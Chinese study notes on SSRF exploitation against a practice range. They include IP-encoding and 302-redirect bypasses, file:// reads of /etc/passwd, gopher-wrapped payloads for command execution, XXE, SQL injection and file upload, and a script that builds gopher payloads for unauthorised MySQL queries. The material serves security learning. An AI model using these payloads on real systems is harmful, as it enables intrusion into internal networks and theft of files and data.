SSRF学习
靶场
fofa搜:“重庆橙子科技”,里面找SSRF。
SSRF基础知识
绕过127限制
要查看127.0.0.1/flag.php,但是127被过滤。
绕过方法:使用不同的进制表示127.0.0.1即可。
二进制:01111111.00000000.00000000.00000001 八进制:17700000001 十六进制:7F000001 十进制:2130706433
八进制:http://017700000001/flag.php 十六进制:http://0x7F000001/flag.php 十进制:http://2130706433/flag.php
302重定向绕过ip地址限制
在本地搭建一个非局域网下的网站,网站中写入302重定向的代码,让目标访问此网站,然后即可重定向到127访问到flag文件。
<?php header('location:http://127.0.0.1/flag.php'); ?>
SSRF内网渗透
SSRF前置知识NAT
攻击目标:从外网无法访问的内部系统。
形成原因:大部分是由于服务端是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤或限制。
攻击方式:借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。
伪协议
file:///etc/passwd 读取文件passwd file:///etc/hosts 显示当前操作系统网卡的ip file:///proc/net/arp 显示arp缓存表(寻找内网其他主机) file:///proc/net/fib_tire 显示当前网段路由信息
寻找存活的主机
获取到IP后,对内网主机进行扫码,使用arp协议。
访问一个其他的ip,如果进行访问,一定会发送arp请求,对方必然要回复。
使用BP直接爆破访问所有的ip 然后使用file:///proc/net/arp,读取存活的主机
寻找开放的端口
在IP后添加端口,时间长,不推荐。
使用集群炸弹攻击,ip和端口。根据应答的长度来判断端口是否打开。
命令执行
直接执行:
http://172.250.250.4/shell.php?cmd=ls
gopher和占位符:
gopher://172.250.250.4
post提交
靶场的http:172.250.250.5
首先查看源代码,找到POST传参的名称。
构造payload:
POST / HTTP/1.1 Host: 172.250.250.5 Content-Type: application/x-www-from-urlencoded Content-Length: 12 ip=127.0.0.1
使用gopher伪协议,然后抓包:
将构造的payload放在参数后面:
将参数进行两次url编码即可。
进行命令执行:
在ip后加;要执行的命令即可。
SSRF配合其他漏洞
用SSRF进行XXE漏洞利用
file查网段,dict查端口,http目录扫描
查看源代码,发现对用户名和密码的处理类似于xml,构造payload,使用gopher协议模拟访问一下。
POST /doLogin.php HTTP/1.1 Host: 172.250.250.6 Content-Type: application/xml Content-Length: 65 <user><username>admin</username><password>admin</password></user>
回复的结果也是xml的格式。
回显了用户名。构造payload代码:
POST /doLogin.php HTTP/1.1 Host: 172.250.250.6 Content-Type: application/xml Content-Length: 124(和下面的字符数量对应) <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><username>&xxe;</username><password>admin</password></user>
得到文件。
用SSRF进行SQL注入
GET提交
直接在POST提交的链接后面跟参数,和SQL注入流程相同,然后将注入语句进行两次URL编码。将--+后面的+换成%20。
POST提交
和XXE漏洞一样,使用gopher伪协议,构造POST提交的payload
POST /Less-11 HTTP/1.1 Host: 172.250.250.11 Content-Type: application/x-www-form-urlencoded Content-Length: 38 uname=admin&passwd=admin&submit=submit
用SSRF进行文件上传
multipart/from-data:媒体类型(multipart/from-data)的数据体由多个部分组成,这些部分由于一个固定的边界值分隔。
构造payload:
同样,gopher伪协议后再在后面加payload。进行两次URL编码。
利用SSRF进行文件包含
直接在URL中使用file伪协议,空格用%20代替。
利用SSRF对mysql进行未授权查询
目的:利用SSRF来执行自己想执行的mysql语句。
1、打开抓包:使用tcpdump(命令行)和wireshark(图形化)
tcpdump -i lo port 3306 -w mysql.pcapng
2、写入指令:
mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"
3、把抓取的文件复制到本地,用wireshark打开
右键:跟踪流->TCP流 筛选过滤:源端口任意,目标端口3306
4、复制数据,去掉换行符
5、ASCII码转换URL编码。
转换脚本:
import sys def results(s):a=[s[i:i+2] for i in range(0,len(s),2)]return "curl gopher://127.0.0.1:3306/_%"+"%".join(a) if __name__=="__main__":s=sys.argv[1]print(results(s))
6、复制转换后的内容,更改ip
7、提交payload